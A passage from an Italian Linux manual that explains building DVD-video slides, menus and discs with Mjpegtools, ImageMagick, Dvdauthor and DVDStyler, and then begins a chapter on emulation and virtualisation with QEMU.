Per inserire delle diapositive in un DVD video, occorre trasformare delle immagini fisse in filmati, contenenti una traccia audio, che eventualmente può essere silenziosa. A titolo di esempio, viene mostrato il procedimento per produrre un file VOB da un’immagine JPG (‘figura.jpg’) che ha già la geometria corretta per lo standard DVD video, con l’aiuto di strumenti contenuti del pacchetto Mjpegtools.

Si può creare un video YUV4MPEG con ‘**jpeg2yuv**’. In questo caso si vuole produrre un video di 10 s; considerato che si intende usare lo standard PAL, che prevede 25 quadri al secondo, occorre che il video contenga 250 quadri totali:

$ **jpeg2yuv -f 25 -I p -L 0 -n 250 -j figura.jpg > video.y4m** [*Invio*]

Si ottiene così il file ‘video.y4m’ da convertire in formato MPEG-2, creando il file ‘video.m2v’:

$ **mpeg2enc -a 2 -n p -f 3 -b 200 -o video.m2v < video.y4m** [*Invio*]

Viene creato un file audio silenzioso, di 10 s, in formato MP2, con una frequenza di campionamento di 48000 Hz in stereofonia:

$ **dd if=/dev/zero bs=4 count=480000 |** ↩
↪**toolame -b 128 -s 48 /dev/stdin audio.mp2** [*Invio*]

Si ottiene il file ‘audio.mp2’ che si può usare assieme a ‘video.m2v’ per creare un contenitore multimediale MPEG2 (video e audio) con l’aiuto di ‘**mplex**’:

$ **mplex -f 8 -V -o diapositiva.vob video.m2v audio.mp2** [*Invio*]

Si ottiene così il file ‘diapositiva.vob’.

Viene mostrato una funzione di uno script di shell compatibile con lo standard POSIX, che ha lo scopo di produrre un file VOB appropriato a partire da un file contenente un’immagine fissa, che ImageMagick sia in grado di gestire:

```
picture_transcode () {
    local VIDEO_SRC="$1"
    local VIDEO_DST="$2"
    local VIDEO_FPS="$3"
    local VIDEO_GEOMETRY="$4"
    local PICTURE_TIME="$5"
    local CURRENT_DIR=`pwd`
    local PICTURE_EXT=""
    local VIDEO_FRAME_HZ=""
    local MPEG_TO_ENC_N=""
    local PICTURE_X=""
    local PICTURE_Y=""
```

```
    local VIDEO_X=""
    local VIDEO_Y=""
    local PICTURE_MOVE_X=""
    local PICTURE_MOVE_Y=""
    local PICTURE_FRAMES=""
    local TEMPORARY=`tempfile`
    #
    touch $TEMPORARY
    #
    if   [ "$VIDEO_FPS" = "25" ]
    then
        MPEG_TO_ENC_N="p"
        PICTURE_FRAMES=$((25 * $PICTURE_TIME))
    else
        MPEG_TO_ENC_N="n"
        PICTURE_FRAMES=$((30 * $PICTURE_TIME))
    fi
    #
    VIDEO_X=`echo $VIDEO_GEOMETRY | sed "s/x[0-9]*$//"`
    VIDEO_Y=`echo $VIDEO_GEOMETRY | sed "s/^[0-9]*x//"`
    #
    # Convert keeping the aspect ratio.
    #
    convert -scale $VIDEO_GEOMETRY $VIDEO_SRC $TEMPORARY.jpg
    #
    # Get geometry.
    #
    PICTURE_X=`identify $TEMPORARY.jpg | sed "s/^.* JPEG \([0-9]*\)x\([0-9]*\).*$/\1/"`
    PICTURE_Y=`identify $TEMPORARY.jpg | sed "s/^.* JPEG \([0-9]*\)x\([0-9]*\).*$/\2/"`
    #
    # Calculate pixel shift to get a centered image.
    #
    PICTURE_MOVE_X=$((($VIDEO_X - $PICTURE_X) / 2))
    PICTURE_MOVE_Y=$((($VIDEO_Y - $PICTURE_Y) / 2))
    #
    # Create a gray background
    #
    convert -geometry $VIDEO_GEOMETRY! \
            -fill gray \
            -colorize 100% \
            $VIDEO_SRC $TEMPORARY.bg.jpg
    #
    # Put the image on the center.
    #
    composite -geometry +$PICTURE_MOVE_X+$PICTURE_MOVE_Y \
              $TEMPORARY.jpg \
              $TEMPORARY.bg.jpg \
              $TEMPORARY.x.jpg
    #
    # Convert to a YUV4MPEG video.
    #
    jpeg2yuv -n $PICTURE_FRAMES -I p -f $VIDEO_FPS -j $TEMPORARY.x.jpg | \
             mpeg2enc -n $MPEG_TO_ENC_N -f 3 -b 200 -o $TEMPORARY.m2v
    #
    # Create a silent audio track of 1/30 s.
    #
```

```
    dd if="/dev/zero" bs=4 count=1600 | \
       toolame -b 128 -s 48 /dev/stdin $TEMPORARY.mp2
    #
    # Multiplex video and audio for DVD.
    #
    mplex -f 8 -V -o $VIDEO_DST \
                     $TEMPORARY.m2v \
                     $TEMPORARY.mp2
    #
    # Remove temporary files.
    #
    rm -f $TEMPORARY*
}
```

Disponendo del file '`figura.png`', volendo generare il file '`diapositiva.vob`' della durata di 15 s, aderente allo standard PAL, occorrerebbe chiamare la funzione mostrata, nel modo seguente:

```
...
picture_transcode figura.png diapositiva.vob 25 720x576 15
...
```

36.5.7 Menù di un DVD video

La realizzazione di un menù per un DVD video è una fase necessaria per produrre un risultato fruibile dall'utenza comune. Il menù è un file VOB che assomiglia idealmente a quello che si realizza a partire da un'immagine fissa, come nel caso delle diapositive, che però deve contenere delle informazioni aggiuntive. Dopo la realizzazione di un file VOB di questo tipo, occorre utilizzare Dvdauthor in modo leggermente diverso da quanto mostrato fino a questo punto, per collegare il menù agli altri file VOB esistenti.

Si crea inizialmente un disegno, con un programma appropriato, contenente al massimo tre colori, con una geometria approssimativa pari a quella dello standard DVD video che si vuole produrre. L'immagine potrebbe essere simile a quella che si vede nella figura 36.26.

Figura 36.26. Immagine di partenza per un menù.

Di questa immagine se ne deve preparare una copia, dalla quale va rimosso il titolo e va ridotta a soli due colori: il testo nero e lo sfondo bianco.

> Si osservi che è bene circoscrivere le voci del menù con una cornice, come nell'esempio che viene proposto, per consentire successivamente al programma '**`spumux`**' di Dvdauthor di individuarle e distinguerle correttamente.

Figura 36.27. Menù in bianco e nero, con i soli bottoni per accedere ai titoli interni.

A questo punto occorre assicurarsi di avere le immagini della geometria esatta e occorre produrre alcune immagini derivate. Il primo file contenente il menù con il titolo sia

'fondale.jpg'; il secondo, senza titolo e solo in bianco e nero, sia 'pulsanti.jpg'. Vengono usati i programmi di ImageMagick per le varie conversioni.

```
$ convert -geometry 720x576!  -posterize 3 fondale.jpg ↩
↪        menu.background.jpg [Invio]
```

Con questo primo comando viene prodotta l'immagine da usare come fondale del menù; come si vede si impone di adattare il file che si ottiene alla geometria dello standard PAL e di avere solo tre colori.

Successivamente, a partire dal file 'pulsanti.jpg', si crea un file con soli due colori, dove il bianco deve annullarsi e diventare trasparente. Si ottiene il file 'menu.black.png':

```
$ convert -geometry 720x576!  -posterize 2 -transparent white ↩
↪        pulsanti.jpg menu.black.png [Invio]
```

Figura 36.28. Supponendo che il grigio rappresenti lo sfondo trasparente, quello che si vede rappresenta l'immagine che si ottiene nel file 'menu.black.png'.

Titolo 1 Titolo 2

Titolo 3 Titolo 4

Da questo file con la scritta nera e lo sfondo trasparente, si creano altri file, dove la scritta deve apparire con colori differenti:

```
$ convert -fill red -colorize 100% menu.black.png menu.red.png [Invio]
```

```
$ convert -fill blue -colorize 100% menu.black.png menu.blue.png [Invio]
```

```
$ convert -fill green -colorize 100% menu.black.png menu.green.png [Invio]
```

Figura 36.29. Supponendo che il grigio rappresenti lo sfondo trasparente, quello che si vede rappresenta l'immagine che si ottiene nel file '`menu.red.png`', dove il testo appare in rosso.

Titolo 1 Titolo 2
Titolo 3 Titolo 4

Figura 36.30. Supponendo che il grigio rappresenti lo sfondo trasparente, quello che si vede rappresenta l'immagine che si ottiene nel file '`menu.green.png`', dove il testo appare in verde.

Titolo 1 Titolo 2
Titolo 3 Titolo 4

Figura 36.31. Supponendo che il grigio rappresenti lo sfondo trasparente, quello che si vede rappresenta l'immagine che si ottiene nel file '`menu.blue.png`', dove il testo appare in blu.

Titolo 1 Titolo 2
Titolo 3 Titolo 4

Quindi si crea un filmato molto breve, in formato VOB, utilizzando il file

'`menu.background.jpg`'. In questo caso, però, si preferisce che il file finale (VOB) abbia l'estensione '`.mpg`', perché non si tratta ancora del file VOB definitivo:

```
$ jpeg2yuv -n 50 -I p -f 25 -j menu.background.jpg ↩
↪          | mpeg2enc -n p -f 3 -b 200 -o menu.m2v [Invio]
```

```
$ dd if="/dev/zero" bs=4 count=1600 ↩
↪    | toolame -b 128 -s 48 /dev/stdin menu.mp2 [Invio]
```

```
$ mplex -f 8 -o menu.mpg menu.m2v menu.mp2 [Invio]
```

A questo punto si deve usare il programma '**`spumux`**' di Dvdauthor, che però richiede prima la preparazione di un file XML di configurazione, come quello seguente:

```
<subpictures>
  <stream>
    <spu start="00:00:00.00"
       image="menu.black.png"
       select="menu.green.png"
       highlight="menu.red.png"
       force="yes"
       autooutline="infer"
       outlinewidth="15"
       autoorder="rows">
    </spu>
  </stream>
</subpictures>
```

In base al contenuto di questo file di configurazione, lo spazio tra i pulsanti deve essere maggiore o uguale a 15 punti grafici; inoltre, l'ordine con cui si intendono disposti i pulsanti è per righe.

Supponendo di avere salvato il file XML di '**`spumux`**' con il nome '**`menu.spumux`**', si può procedere così:

```
$ spumux menu.spumux < menu.mpg > menu.vob [Invio]
```

Viene mostrata una funzione di uno script di shell compatibile con lo standard POSIX, che ha lo scopo di produrre un menù VOB appropriato a partire da un file contenente un'immagine fissa, unica, che ImageMagick sia in grado di gestire. Questo script produce però un risultato semplificato, in quanto si attende di ricevere una figura in bianco e nero, contenente esclusivamente le voci del menù, bordate in modo appropriato:

```
dvd_menu () {
    local FILE_SRC="$1"
    local FILE_DST="$2"
    local VIDEO_FPS="$3"
    local VIDEO_GEOMETRY="$4"
    local MPEG_TO_ENC_N=""
    #
    touch $TEMPORARY
    #
```

```
    if   [ "$VIDEO_FPS" = "25" ]
    then
        MPEG_TO_ENC_N="p"
    else
        MPEG_TO_ENC_N="n"
    fi
    #
    # Reduce the source picture to two colors: should be
    # black ink on white background.
    #
    convert -geometry $VIDEO_GEOMETRY! \
            -posterize 2 $FILE_SRC $TEMPORARY.background.jpg
    #
    # Reduce the source picture to two colors and set white to
    # transparent.
    #
    convert -geometry $VIDEO_GEOMETRY! \
            -transparent white \
            -posterize 2 $FILE_SRC $TEMPORARY.black.png
    #
    # Make a copy with blue color (instead of black).
    #
    convert -fill blue \
            -colorize 100% \
            $TEMPORARY.black.png $TEMPORARY.blue.png
    #
    # Make a copy with red color (instead of black).
    #
    convert -fill red \
            -colorize 100% \
            $TEMPORARY.black.png $TEMPORARY.red.png
    #
    # Make a copy with green color (instead of black).
    #
    convert -fill green \
            -colorize 100% \
            $TEMPORARY.black.png $TEMPORARY.green.png
    #
    # Make a movie with the menu.
    #
    jpeg2yuv -n 50 -I p -f $VIDEO_FPS -j $TEMPORARY.background.jpg | \
        mpeg2enc -n $MPEG_TO_ENC_N -f 3 -b 200 -o $TEMPORARY.m2v
    #
    # Make a silent sound track.
    #
    dd if="/dev/zero" bs=4 count=1600 | \
        toolame -b 128 -s 48 /dev/stdin $TEMPORARY.mp2
    #
```

```
    # Multiplex
    #
    mplex -f 8 -o $TEMPORARY.vob $TEMPORARY.m2v $TEMPORARY.mp2
    #
    # Prepare the Spumux XML file.
    #
    printf ""                                       > $TEMPORARY.spumux
    echo "<subpictures>"                           >> $TEMPORARY.spumux
    echo "  <stream>"                              >> $TEMPORARY.spumux
    echo "    <spu start=\"00:00:00.00\""          >> $TEMPORARY.spumux
    echo "       image=\"$TEMPORARY.black.png\""   >> $TEMPORARY.spumux
    echo "       select=\"$TEMPORARY.green.png\""  >> $TEMPORARY.spumux
    echo "       highlight=\"$TEMPORARY.red.png\"" >> $TEMPORARY.spumux
    echo "       force=\"yes\""                    >> $TEMPORARY.spumux
    echo "       autooutline=\"infer\""            >> $TEMPORARY.spumux
    echo "       outlinewidth=\"15\""              >> $TEMPORARY.spumux
    echo "       autoorder=\"rows\">"              >> $TEMPORARY.spumux
    echo "    </spu>"                              >> $TEMPORARY.spumux
    echo "  </stream>"                             >> $TEMPORARY.spumux
    echo "</subpictures>"                          >> $TEMPORARY.spumux
    #
    # Run Spumux.
    #
    spumux $TEMPORARY.spumux < $TEMPORARY.mpg > $TEMPORARY.vob
    #
    # Remove temporary files.
    #
    rm -f $TEMPORARY*
}
```

Disponendo del file ‘`menu.png`’, volendo generare il file ‘`menu.vob`’ aderente allo standard PAL, occorrerebbe chiamare la funzione mostrata, nel modo seguente:

```
…
dvd_menu menu.png menu.vob 25 720x576
…
```

Naturalmente, la creazione del file VOB contenente il menù, non esaurisce il problema, dal momento che poi questo menù deve essere collegato ai contenuti del DVD. Nella sezione successiva si vede come usare Dvdauthor a questo fine.

36.5.8 Creazione di un DVD con menù

Una volta creato il menù del DVD in un file VOB, occorre collegare questo menù al resto del DVD. Per fare questo si può usare Dvdauthor in un modo differente rispetto a quello mostrato fino a questo punto, preparando un file XML di configurazione appropriato.

Come accennato all'inizio del capitolo, il contenuto di un DVD può essere strutturato in «titoli» che a loro volta si articolano in «capitoli». In questa sezione si associa un titolo a ogni contenuto del DVD, facendo sì che ogni titolo contenga soltanto un capitolo. C'è da considerare che è possibile articolare il contenuto di un DVD in un menù principale e in altri menù inferiori, ma questa possibilità non viene descritta qui.

Si presume di avere preparato quattro filmati, già convertiti nel formato VOB. Si tratta dei file '`filmato-1.vob`', '`filmato-2.vob`', '`filmato-3.vob`' e '`filmato-4.vob`'. Si suppone che dopo la visualizzazione di uno di questi filmati si voglia tornare al menù. Quello che segue è il file XML da fornire poi a Dvdauthor:

```
<dvdauthor dest="/tmp/dvd" jumppad="0">
  <vmgm>
    <menus>
      <pgc entry="title">
        <vob file="menu.vob" pause="inf"/>
        <button> jump title 1; </button>
        <button> jump title 2; </button>
        <button> jump title 3; </button>
        <button> jump title 4; </button>
        <post> jump vmgm menu 1; </post>
      </pgc>
    </menus>
  </vmgm>
  <titleset>
    <titles>
      <pgc>
        <vob file="filmato-1.vob"/>
        <post> call vmgm menu 1; </post>
      </pgc>
      <pgc>
        <vob file="filmato-2.vob"/>
        <post> call vmgm menu 1; </post>
      </pgc>
      <pgc>
        <vob file="filmato-3.vob"/>
        <post> call vmgm menu 1; </post>
      </pgc>
      <pgc>
        <vob file="filmato-4.vob"/>
        <post> call vmgm menu 1; </post>
      </pgc>
    </titles>
  </titleset>
```

```
</dvdauthor>
```

Supponendo che il file XML si chiami '`dvd.xml`', si può utilizzare '**`dvdauthor`**' nel modo seguente:

`$` **`dvdauthor -x dvd.xml`** [*Invio*]

In base al contenuto del file '`dvd.xml`', si ottiene la directory '`/tmp/dvd/`', con il contenuto del DVD, da trasformare in file-immagine con '**`mkisofs`**':

`$` **`mkisofs -dvd-video -o dvd.img /tmp/dvd`** [*Invio*]

Si ottiene così il file '`dvd.img`' pronto per l'incisione del DVD.

Eseguendo il DVD con un programma come Xine o con un lettore DVD casalingo, si dovrebbe vedere un menù come quello che si vede nella figura successiva, dove il cursore si trova sopra il pulsante *`Titolo 1`*.

Figura 36.36. Menù in funzione con il primo titolo evidenziato.

Il mio primo DVD

Titolo 1

Titolo 2

Titolo 3

Titolo 4

Volendo fare in modo che dopo l'esecuzione di uno dei primi tre titoli si passi automaticamente al successivo, basta modificare così l'elemento '**`titles`**' del file '`dvd.xml`':

```
    <titles>
      <pgc>
        <vob file="filmato-1.vob"/>
        <post> jump title 2; </post>
      </pgc>
      <pgc>
        <vob file="filmato-2.vob"/>
        <post> jump title 3; </post>
      </pgc>
      <pgc>
        <vob file="filmato-3.vob"/>
```

```
        <post> jump title 4; </post>
      </pgc>
      <pgc>
        <vob file="filmato-4.vob"/>
        <post> call vmgm menu 1; </post>
      </pgc>
    </titles>
```

Dvdauthor ha una limitazione che impedisce di gestire più di 36 titoli in un solo menù. Tuttavia, più file VOB possono essere raggruppati in uno stesso titolo. L'esempio seguente mostra un file XML di configurazione di Dvdauthor, con tre titoli che si dividono alcuni file VOB. Si osservi che, in base alla configurazione mostrata, ogni file incluso in un titolo va a costituire un capitolo dello stesso.

```
<dvdauthor dest="/tmp/dvd" jumppad="0">
  <vmgm>
    <menus>
      <pgc entry="title">
        <vob file="menu.vob" pause="inf"/>
        <button> jump title 1; </button>
        <button> jump title 2; </button>
        <button> jump title 3; </button>
        <post> jump vmgm menu 1; </post>
      </pgc>
    </menus>
  </vmgm>
  <titleset>
    <titles>
      <pgc>
        <vob file="filmato-1.vob"/>
        <vob file="filmato-2.vob"/>
        <vob file="filmato-3.vob"/>
        <vob file="filmato-4.vob"/>
        <post> call vmgm menu 1; </post>
      </pgc>
      <pgc>
        <vob file="filmato-5.vob"/>
        <vob file="filmato-6.vob"/>
        <vob file="filmato-7.vob"/>
        <post> call vmgm menu 1; </post>
      </pgc>
      <pgc>
        <vob file="filmato-8.vob"/>
        <vob file="filmato-9.vob"/>
        <post> call vmgm menu 1; </post>
      </pgc>
    </titles>
  </titleset>
```

```
</dvdauthor>
```

36.6 DVDStyler

Ci sono diversi programmi che consentono la realizzazione di un DVD video attraverso un'interfaccia grafica, più o meno intuitiva. L'utilizzo di tali programmi può facilitare questo tipo di lavoro, ma rimane il fatto che i concetti legati all'organizzazione di un DVD video devono essere conosciuti.

In questa sezione viene mostrato l'uso di DVDStyler[8] che è un programma frontale grafico, che a sua volta si avvale di altri programmi per la realizzazione di un DVD video, a partire dalla costruzione del menù. Il suo funzionamento viene descritto attraverso l'esempio di un progetto molto semplice, con un solo menù iniziale e alcuni file MPEG che costituiscono, ognuno, un titolo differente.

36.6.1 Avvio di DVDStyler

DVDStyler si avvia attraverso l'eseguibile '**`dvdstyler`**', senza l'indicazione di opzioni e argomenti:

```
dvdstyler
```

Figura 36.39. DVDStyler dopo l'avvio, prima di iniziare il progetto di un DVD video.

File Configuration Help
40%
Directories
Backgrounds
Buttons
Backgrounds
autobahn.jpg
bi_domrep.jpg
blue.jpg
creta.jpg
Menu 1

36.6.2 Configurazione dello standard video

Prima di iniziare il progetto di un DVD video occorre verificare la configurazione; in particolare occorre controllare che venga usato lo standard video desiderato (NTSC o PAL). Per questo si accede alla voce `Settings` del menù `Configuration`.

Figura 36.40. Configurazione dello standard video.

36.6.3 Costruzione del menù

Di solito conviene iniziare il progetto del DVD dal menù. Sul bordo sinistro della finestra del programma appaiono dei pulsanti di selezione, dove dovrebbe risultare selezionata la voce BACKGROUNDS e nella porzione sinistra della finestra dovrebbero apparire, di conseguenza, alcuni esempi di sfondi da usare per il menù. Se non piacciono, basta selezionare la voce DIRECTORIES e cercare i file con le immagini che si gradiscono di più. Una volta scelta l'immagine, la si seleziona trascinandola nel riquadro nero sulla destra, facendola diventare lo sfondo del menù.

Figura 36.41. Selezione di un'immagine per lo sfondo.

Supponendo di sapere già quanti sono i titoli del DVD video che si vuole creare, si può passare alla scrittura del testo degli stessi. Per fare questo si deve selezionare la voce BUTTONS (sul bordo sinistro della finestra), quindi trascinare il modello che si preferisce nel riquadro destro contenente l'immagine del menù del DVD. Una volta trascinati i modelli che si desiderano, occorre modificarli, usando il mouse con il tasto destro.

Figura 36.42. Menù già preparato con tre titoli.

Il testo delle voci del menù può contenere qualsiasi cosa si ritenga più appropriato; si può cambiare il carattere e la sua colorazione; tuttavia, la cosa più importante da fare è associare correttamente la voce al titolo del DVD video che si sta realizzando. Per esempio, quello che si ritiene essere il terzo titolo, deve contenere l'azione '`jump title 3;`'. Si osservi anche che il carattere selezionato deve essere codificato secondo lo standard Unicode (si vede la sigla ISO 10646-1).

Figura 36.43. Configurazione della terza voce del menù.

36.6.4 Inserimento dei filmati

Per scegliere i filmati da inserire nel DVD, si può selezionare il bottone '**`Directories`**', sul bordo sinistro della finestra, in modo da poter cercare i file che si desiderano includere. Una volta trovati i file, si trascinano nella parte bassa della finestra, dopo l'icona che rappresenta il menù di apertura.

Figura 36.44. Inserimento dei filmati.

Così facendo, ogni file costituisce un titolo differente.

36.6.5 Creazione del DVD video

Terminato il disegno del DVD video, si può salvare il progetto in un file, selezionando la voce `Save as` del menù `File`. Viene proposto di usare un nome con estensione '`.xml`'.

Si può passare così alla creazione del DVD video attraverso la funzione `Burn DVD` del menù `File`.

Figura 36.45. Conferma nella fase di creazione del DVD.

Inizialmente conviene limitarsi a creare un file-immagine del DVD, che può essere provato con gli strumenti usuali (come VLC o Xine), prima di incidere un DVD reale. È sconsigliabile di provare l'anteprima, che potrebbe apparire errata, mentre invece il risultato può essere corretto.

Confermando, si passa alla fase di elaborazione, che se tutto va bene si conclude con la creazione del file-immagine desiderato.

Per provare un file-immagine, si può usare un MRL del tipo: `dvd:///home/tizio/dvd.iso`. Per esempio, Xine andrebbe avviato così:

`$ xine dvd:///home/tizio/dvd.iso` [*Invio*]

36.7 Riferimenti

- *MPEG pointers and resources*

  ⟨*http://www.mpeg.org/MPEG/index.html* ⟩

- Brent Beyeler, *bbMPEG's Home Page*

  ⟨*http://members.cox.net/beyeler/bbmpeg.html* ⟩

- Brent Beyeler, *bbMPEG's FAQ*

  ⟨*http://members.cox.net/beyeler/bbfaq.html* ⟩

- *MJPEG Tools*

  ⟨*http://mjpeg.sourceforge.net/* ⟩

  ⟨*http://sourceforge.net/projects/mjpeg* ⟩

- *FFmpeg*

  ⟨*http://ffmpeg.sourceforge.net/* ⟩

  ⟨*http://sourceforge.net/projects/ffmpeg* ⟩

- *tooLAME*

  ⟨*http://toolame.sourceforge.net/* ⟩

  ⟨*http://sourceforge.net/projects/toolame* ⟩

- *Dvdauthor*

  ⟨*http://dvdauthor.sourceforge.net/* ⟩

  ⟨*http://sourceforge.net/projects/dvdauthor* ⟩

- *VideoHelp.com*

  ⟨*http://www.videohelp.com* ⟩

- Rick Harris, *Graver un DVD-VIDEO*

  ⟨*http://www.egs-howto.com/mambo/index.php?option=content&task=view&id=174* ⟩

[1] **Mplayer** GNU GPL

[2] **VideoLAN** GNU GPL

[3] **FFmpeg** GNU GPL

[4] **Mjpegtools** GNU GPL

[5] **Transcode** GNU GPL

[6] **Dvdauthor** GNU GPL

[7] **Dvdbackup** GNU GPL

[8] **DVDStyler** GNU GPL

Capitolo 37

Simulazione e virtualizzazione

37.1 Ospitalità 2095

37.2 Tipologia del contesto riprodotto 2096

37.3 QEMU 2096

37.3.1 Emulazione per gli applicativi 2097

37.3.2 Emulazione per un sistema completo 2097

37.3.3 Console di QEMU 2099

37.3.4 Unità di memorizzazione e file-immagine 2100

37.4 L'acceleratore KQEMU 2101

37.5 KVM 2102

37.6 Riferimenti 2102

`kvm` 2102 `qemu` 2096

Quando si vuole eseguire un sistema operativo o comunque del software, in un contesto ambientale diverso da quello per cui è realizzato, si usano normalmente delle tecniche per riprodurre tale contesto. Queste tecniche prendono nomi differenti in base alla metodologia di adattamento predisposta, i cui confini non sono però ben delimitati. In linea di massima si possono distinguere tre filoni fondamentali: ***simulazione***, quando l'ambiente necessario al funzionamento del sistema ospitato non è abbinato alla realtà e rappresenta una pura finzione; ***emulazione***, quando il sistema ospitante riproduce l'ambiente necessario al sistema ospitato e l'attività svolta in tale ambiente produce effettivamente i risultati attesi; ***virtualizzazione***, quando il sistema ospitante è realizzato specificatamente per mettere a disposizione diversi ambienti, ad altrettanti sistemi ospitati, con un livello minimo di intermediazione tra tali ambienti e l'hardware sottostante.

37.1 Ospitalità

Quando ci si riferisce ai concetti di simulazione, emulazione e virtualizzazione, si distinguono due parti, rappresentate dal sistema ospitante (*host*) e dal sistema ospitato (*guest*). Purtroppo, in italiano il termine «ospite» si presta a rappresentare indifferentemente il ruolo di colui che ospita, o di colui che viene ospitato; pertanto si rende sempre necessario chiarire la cosa.

Figura 37.1. Sistema ospitante e sistema ospitato.

	simulazione	*emulazione*	*virtualizzazione*
	applicazioni del sistema ospitato	applicazioni del sistema ospitato	
	sistema ospitato	sistema ospitato	applicazioni del sistema ospitato
applicazioni del sistema ospitante	simulatore	emulatore	sistema ospitato
sistema ospitante			
hardware			

Tornando ai termini introdotti all'inizio del capitolo, un'ospitalità simulata è tale per cui il sistema ospitato non possa raggiungere in alcun modo la realtà dell'hardware; mentre un'ospitalità emulata consente di raggiungere l'hardware, ma attraverso la mediazione dell'emulatore e del sistema ospitante; infine, un'ospitalità virtualizzata consente al sistema ospitato di raggiungere l'hardware direttamente, nell'ambito dei confini stabiliti dal sistema ospitante. Come si vede dallo schema, tra il sistema ospitante e il sistema ospitato può interporsi un programma che ricostruisce l'ambiente necessario al funzionamento del sistema ospitato, ma quando si arriva alla virtualizzazione, di norma è il sistema ospitante che rende possibile tale astrazione e potrebbe non esserci alcuna intermediazione ulteriore.

37.2 Tipologia del contesto riprodotto

Il contesto di funzionamento riprodotto per l'utilizzo di un sistema ospitato, può essere fondamentalmente di due tipi: hardware o software. In altri termini, si può riprodurre il comportamento di un certo tipo di hardware, oppure di un sistema operativo completo. Pertanto, un contesto operativo che riproduca l'hardware x86 può servire per installarvi sopra un altro sistema operativo, mentre un contesto che riproduca il funzionamento di un certo sistema operativo, potrebbe servire per eseguire direttamente applicazioni di quel tale sistema. Per esempio, Bochs (⟨*http://bochs.sourceforge.net/*⟩) è un emulatore che riproduce un certo tipo di hardware e si utilizza per eseguire altri sistemi operativi, mentre WINE (⟨*http://www.winehq.org/*⟩) è un emulatore di Windows e consente di eseguire direttamente le applicazioni di tale sistema operativo nell'ambito di un sistema ospitante GNU/Linux.

Intuitivamente si comprende che, quando un certo contesto operativo riproduce direttamente il comportamento di un certo sistema operativo, può trattarsi solo di una simulazione o di un'emulazione, perché la virtualizzazione riguarda la riproduzione del comportamento dell'hardware reale sottostante.

37.3 QEMU

QEMU[1] è un pacchetto di emulatori hardware di vari tipi di piattaforme, con la particolarità, nel caso l'hardware reale e quello emulato siano entrambi di tipo x86, di poterlo utilizzare direttamente, se il sistema operativo lo consente. In altri termini QEMU è un emulatore che in certi casi può sconfinare verso la virtualizzazione.

Il pacchetto che costituisce QEMU, una volta compilato per il sistema ospitante in cui deve essere utilizzato, dispone normalmente di file eseguibili differenti, a seconda della piattaforma che si va a emulare. Ma questi eseguibili sono divisibili in due gruppi: quelli che emulano l'hardware e si prestano per l'esecuzione di un sistema ospitato e quelli che invece si limitano a eseguire un programma, realizzato per lo stesso sistema operativo ospitante, ma per un'altra piattaforma hardware. Pertanto, i file eseguibili il cui nome corrisponde al modello seguente, sono adatti a emulare l'hardware, indipendentemente dal sistema operativo:

```
qemu-system-hardware
```

Al contrario, i nomi corrispondenti al modello seguente consentirebbero di utilizzare programmi per lo stesso sistema operativo, ma per un'altra piattaforma hardware:

```
qemu-hardware
```

In generale, il programma con il nome '**qemu**' dovrebbe corrispondere a quello che emula la stessa piattaforma hardware reale, a favore di un sistema ospitato completo.

37.3.1 Emulazione per gli applicativi

Il livello più semplice di emulazione offerto da QEMU riguarda la possibilità di eseguire programmi compilati per altre piattaforme, purché per lo stesso sistema operativo nel quale si sta agendo. In tal caso, oltre al programma è necessario disporre delle librerie dinamiche, di cui questo si avvale.

Per poter verificare questa cosa occorre procurarsi un programma molto semplice, il quale si avvalga esclusivamente delle librerie C standard. Per esempio si potrebbe recuperare una versione della shell Dash che utilizza solo la libreria '`libc.so.6`', mettendo il file eseguibile '`dash`' nella directory '`/tmp/x/bin/`' e i file del pacchetto che contiene la libreria '`libc.so.6`' nella directory '`/tmp/x/lib/`'. Supponendo che il file eseguibile e i file della libreria siano compilati per la piattaforma ARM, si potrebbe usare il comando seguente per avviare Dash:

$ **qemu-arm -L /tmp/x/ /tmp/x/bin/dash** [*Invio*]

L'opzione '**-L**' sta per *library* e indica la posizione di partenza per la ricerca delle librerie richieste dal programma. Così facendo, quando il programma cerca il file '`/lib/libc.so.6`', l'emulatore gli offre invece il file '`/tmp/x/lib/libc.so.6`'.

Se l'emulazione funziona, la shell avviata in questo modo si comporta come se fosse stata compilata per la piattaforma reale del proprio elaboratore.

37.3.2 Emulazione per un sistema completo

Per l'emulazione di un sistema completo, di norma è sufficiente disporre di un file-immagine che riproduca un disco avviabile: può essere un dischetto, un disco suddiviso in partizioni o un CD/DVD-ROM. Per esempio, per avviare un sistema contenuto nel file '`sistema.iso9660`', si può usare QEMU nel modo seguente:

$ **qemu -cdrom sistema.iso9660 -boot d** [*Invio*]

Il programma eseguibile '**qemu**' corrisponde a quello che emula la stessa architettura hardware di quella reale, altrimenti si possono usare i programmi '**qemu-system-*hardware***', se ciò che serve è qualcosa di diverso.

Per comprendere il senso dell'esempio mostrato e per poter fare altri tipi di esperimenti, occorre conoscere almeno un gruppo essenziale di opzioni, come si vede nella tabella successiva.

Tabella 37.2. Alcune opzioni per l'uso di QEMU, allo scopo di emulare una piattaforma hardware completa.

`-fda` ***file*** `-fdb` ***file***	Indica di usare un certo file da considerare come la prima o la seconda unità a dischetti. Il file può essere un file-immagine, oppure un file di dispositivo.
`-hda` ***file*** `-hdb` ***file*** `-hdc` ***file*** `-hdd` ***file***	Indica di usare un certo file da considerare come primo, secondo, terzo o quarto disco PATA. Il file può essere un file-immagine, oppure un file di dispositivo.
`-cdrom` ***file***	Indica di usare un certo file da considerare come unità ATAPI (CD-ROM o DVD-ROM).
`-boot a`	Richiede di avviare il sistema attraverso un dischetto (come stabilito con l'opzione '**`-fda`**').
`-boot c`	Richiede di avviare il sistema attraverso un disco PATA (come stabilito con l'opzione '**`-hda`**').
`-boot d`	Richiede di avviare il sistema attraverso un disco ATAPI (come stabilito con l'opzione '**`-cdrom`**').
`-m` ***n***	Richiede di offrire al sistema emulato ***n*** Mibyte. Se non si usa questa opzione, il valore predefinito è di 128 Mibyte.

Va osservato che per l'uso «normale» di QEMU, è necessario agire attraverso la grafica di X, in modo da consentire a QEMU anche l'emulazione della grafica per il sistema ospitato. Altrimenti, per un uso differente, è necessaria un po' di esperienza con QEMU, ma qui non viene mostrato alcun esempio diverso dai casi più semplici da realizzare. La figura successiva mostra l'avvio di QEMU attraverso un comando impartito con un terminale grafico, mentre il risultato visibile dell'emulazione appare in una finestra apposita.

Figura 37.3. Avvio di un sistema NLNX da un file-immagine che rappresenta un DVD-ROM.

terminale grafico

```
~$ qemu -cdrom nLinux-2007.09.04.iso9660 -boot d
```

finestra QEMU

```
n a n o L i n u x
...
...
...
...
...
...
...
...
...
boot: _
```

37.3.3 Console di QEMU

